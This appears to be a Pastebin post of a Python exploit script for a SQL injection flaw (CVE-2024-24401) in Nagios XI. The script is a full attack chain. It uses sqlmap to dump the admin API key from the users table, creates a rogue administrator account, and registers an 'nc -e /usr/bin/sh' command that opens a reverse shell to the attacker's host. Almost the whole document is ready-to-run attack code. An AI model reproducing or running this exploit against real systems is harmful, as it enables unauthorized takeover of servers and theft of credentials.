Advertisement
FlyFar

Nagios XI Version 2024R1.01 - SQL Injection - CVE-2024-24401

Mar 27th, 2024
687
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.89 KB | Cybersecurity | 0 0
  1. # Exploit Title: NAGIOS XI SQLI
  2. # Google Dork: [if applicable]
  3. # Date: 02/26/2024
  4. # Exploit Author: Jarod Jaslow (MAWK) https://www.linkedin.com/in/jarod-jaslow-codename-mawk-265144201/
  5. # Vendor Homepage: https://www.nagios.com/changelog/#nagios-xi
  6. # Software Link: https://github.com/MAWK0235/CVE-2024-24401
  7. # Version: Nagios XI Version 2024R1.01
  8. # Tested on: Nagios XI Version 2024R1.01 LINUX
  9. # CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24401
  10. #
  11.  
  12. import requests
  13. import subprocess
  14. import argparse
  15. import re
  16. import urllib3
  17. import os
  18. import random
  19. import string
  20. from colorama import Fore, Style
  21.  
  22. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  23.  
  24.  
  25.  
  26. def serviceLogin(user,password):
  27.     r = requests.post(f'http://{IP}/nagiosxi/api/v1/authenticate?pretty=1',data={'username':user,'password':password,"valid_min":"5"},verify=False)  
  28.     print(f"{Fore.MAGENTA}[+] Authenticating with captured credtials to API....")
  29.     match = re.search(r'auth_token": "(.*)"',r.text)
  30.     if match:
  31.         token = match.group(1)
  32.         print(f'{Fore.MAGENTA}[+] Token: ' + token)
  33.         r = requests.get(f'http://{IP}/nagiosxi/login.php?token={token}', verify=False)
  34.         cookie = r.headers['Set-Cookie']
  35.         cookie = cookie.split(',')[0]
  36.         match = re.search(r'nagiosxi=(.*);', cookie)
  37.         cookie = match.group(1)
  38.         print(f"{Fore.MAGENTA}[+] Auth cookie is: " + cookie)
  39.         return cookie
  40.     else:
  41.         print(f'{Fore.RED}[-] Authentication Failed..{Style.RESET_ALL}')
  42.         exit()
  43.  
  44. def sqlmap(IP,username,password):
  45.    
  46.     print(f'{Fore.MAGENTA}[+] Starting SQLMAP...')
  47.     session = requests.session()
  48.     s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)
  49.     match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
  50.     nsp = match.group(1)
  51.     print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)
  52.     data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": username, "password": password, "loginButton": ''}
  53.     s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)
  54.     print(f"{Fore.MAGENTA}[+] Authenticated as User..")
  55.     print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")
  56.     s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)
  57.     match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
  58.     nsp = match.group(1)
  59.     data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}
  60.     session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)
  61.     print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")
  62.     newPass = "mawk"
  63.     data = {"page": "/nagiosxi/login.php", "pageopt": "changepass", "nsp": nsp,"current_password": password, "password1": newPass, "password2": newPass, "reporttimesubmitbutton": ''}
  64.     session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)
  65.     s= session.get(f'http://{IP}/nagiosxi/')
  66.     match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
  67.     nsp = match.group(1)
  68.     cookie = s.cookies.get('nagiosxi')
  69.     sqlmap_command = f'sqlmap --flush-session -u "http://{IP}/nagiosxi//config/monitoringwizard.php/1*?update=1&nextstep=2&nsp={nsp}&wizard=mysqlserver" --cookie="nagiosxi={cookie}" --dump -D nagiosxi -T xi_users --drop-set-cookie --technique=ET --dbms=MySQL -p id --risk=3 --level=5 --threads=10 --batch'
  70.     #print(sqlmap_command)
  71.     sqlmap_command_output = subprocess.Popen(sqlmap_command,shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True )
  72.     try:
  73.         for line in iter(sqlmap_command_output.stdout.readline, ''):
  74.             if "| Nagios Administrator |" in line:
  75.                 match = re.search(r"Nagios Administrator \| (.*?) \|", line)
  76.                 if match:
  77.                     adminKey= match.group(1)
  78.                     print(f"{Fore.MAGENTA}[+] Admin Key recovered: " + adminKey)
  79.                     return adminKey
  80.                 else:
  81.                     print(f"{Fore.RED}[-] Could not pull Admin Key :(....{Style.RESET_ALL}")
  82.                     exit()
  83.                 break
  84.         print("[-] SQLMAP capture FAILED..")
  85.         sqlmap_command_output.terminate()
  86.  
  87.     except KeyboardInterrupt:
  88.         print(f"{Fore.RED}[-] SQLMAP interrupted. Cleaning up...{Style.RESET_ALL}")
  89.         sqlmap_command_output.terminate()
  90.         sqlmap_command_output.communicate()
  91.         exit()
  92.  
  93. def createAdmin(IP,adminKey):
  94.     characters = string.ascii_letters + string.digits
  95.     random_username = ''.join(random.choice(characters) for i in range(5))
  96.     random_password = ''.join(random.choice(characters) for i in range(5))
  97.  
  98.     data = {"username": random_username, "password": random_password, "name": random_username, "email": f"{random_username}@mail.com", "auth_level": "admin"}
  99.     r = requests.post(f'http://{IP}/nagiosxi/api/v1/system/user?apikey={adminKey}&pretty=1', data=data, verify=False)
  100.     if "success" in r.text:
  101.         print(f'{Fore.MAGENTA}[+] Admin account created...')
  102.         return random_username, random_password
  103.     else:
  104.         print(f'{Fore.RED}[-] Account Creation Failed!!! :(...{Style.RESET_ALL}')
  105.         print(r.text)
  106.         exit()
  107.  
  108. def start_HTTP_server():
  109.     subprocess.Popen(["python", "-m", "http.server", "8000"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  110.  
  111. def adminExploit(adminUsername, adminPassword, IP, LHOST,LPORT):
  112.     print(f"{Fore.MAGENTA}[+] Conducting mandatory password change...")
  113.     session = requests.session()
  114.     s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)
  115.     match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
  116.     nsp = match.group(1)
  117.     print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)
  118.     data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": adminUsername, "password": adminPassword, "loginButton": ''}
  119.     s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)
  120.     print(f"{Fore.MAGENTA}[+] Authenticated as admin..")
  121.     print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")
  122.     s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)
  123.     match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
  124.     nsp = match.group(1)
  125.     data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}
  126.     session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)
  127.     print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")
  128.     newAdminPass = adminUsername + adminPassword
  129.     data = {"page": "/nagiosxi/login.php", "pageopt": "changepass","current_password": adminPassword, "nsp": nsp, "password1": newAdminPass, "password2": newAdminPass, "reporttimesubmitbutton": ''}
  130.     session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)
  131.     print(f"{Fore.MAGENTA}[+] Creating new command...")
  132.     data = {"tfName": adminUsername, "tfCommand": f"nc -e /usr/bin/sh {LHOST} {LPORT}", "selCommandType": "1", "chbActive": "1", "cmd": "submit", "mode": "insert", "hidId": "0", "hidName": '', "hidServiceDescription": '', "hostAddress": "127.0.0.1", "exactType": "command", "type": "command", "genericType": "command"}
  133.     session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?type=command&page=1', data=data)
  134.     data = {"cmd": '', "continue": ''}
  135.     start_HTTP_server()
  136.     print(f"{Fore.MAGENTA}[+] Created command: " + adminUsername)
  137.     session.post(f'http://{IP}/nagiosxi/includes/components/nagioscorecfg/applyconfig.php?cmd=confirm', data=data)
  138.     data = {"search": adminUsername}
  139.     s = session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?cmd=view&type=command&page=1', data=data)
  140.     match = re.search(r"javascript:actionPic\('deactivate','(.*?)','", s.text)
  141.     if match:
  142.         commandCID = match.group(1)
  143.         print(f"{Fore.MAGENTA}[+] Captured Command CID: " + commandCID)
  144.         s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/?cmd=view&type=service")
  145.         match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
  146.         if match:
  147.             nsp = match.group(1)
  148.             s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/command_test.php?cmd=test&mode=test&cid={commandCID}&nsp={nsp}")
  149.             os.system("kill -9 $(lsof -t -i:8000)")
  150.             print(f"{Fore.RED}[+] CHECK UR LISTENER")
  151.         else:
  152.             print(f"{Fore.RED}[-] ERROR")
  153.     else:
  154.         print(f"{Fore.RED}[-] Failed to capture Command CID..{Style.RESET_ALL}")
  155.  
  156.  
  157.  
  158.  
  159. if __name__ == '__main__':
  160.     ascii_art = f"""{Fore.LIGHTRED_EX}
  161. ███╗   ███╗ █████╗ ██╗    ██╗██╗  ██╗    ███████╗ ██████╗██████╗ ██╗██████╗ ████████╗███████╗
  162. ████╗ ████║██╔══██╗██║    ██║██║ ██╔╝    ██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝██╔════╝
  163. ██╔████╔██║███████║██║ █╗ ██║█████╔╝     ███████╗██║     ██████╔╝██║██████╔╝   ██║   ███████╗
  164. ██║╚██╔╝██║██╔══██║██║███╗██║██╔═██╗     ╚════██║██║     ██╔══██╗██║██╔═══╝    ██║   ╚════██║
  165. ██║ ╚═╝ ██║██║  ██║╚███╔███╔╝██║  ██╗    ███████║╚██████╗██║  ██║██║██║        ██║   ███████║
  166. ╚═╝     ╚═╝╚═╝  ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═╝    ╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝        ╚═╝   ╚══════╝
  167.     {Style.RESET_ALL}                                                                                      
  168.    """
  169.     print(ascii_art)
  170.     parser = argparse.ArgumentParser(description="AutoPwn Script for Bizness HTB machine", usage= "sudo Nagios.py <Target IP>  <LHOST> <LPORT>")
  171.     parser.add_argument('IP' ,help= "Target IP ")
  172.     parser.add_argument('LHOST',help= "Local host")
  173.     parser.add_argument('LPORT' ,help= "Listening Port")
  174.  
  175.     args = parser.parse_args()
  176.     min_required_args = 3
  177.     if len(vars(args)) != min_required_args:
  178.         parser.print_usage()
  179.         exit()
  180.  
  181.     adminUsername, adminPassword = createAdmin(args.IP, sqlmap(args.IP,input(f"{Fore.MAGENTA}[+] Please insert a non-administrative username: "),input(f"{Fore.MAGENTA}[+] Please insert the password: ")))
  182.     print(f"{Fore.MAGENTA}[+] Admin Username=" + adminUsername)
  183.     print(f"{Fore.MAGENTA}[+] Admin Password=" + adminPassword)
  184.     adminExploit(adminUsername, adminPassword, args.IP,args.LHOST,args.LPORT)
  185.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement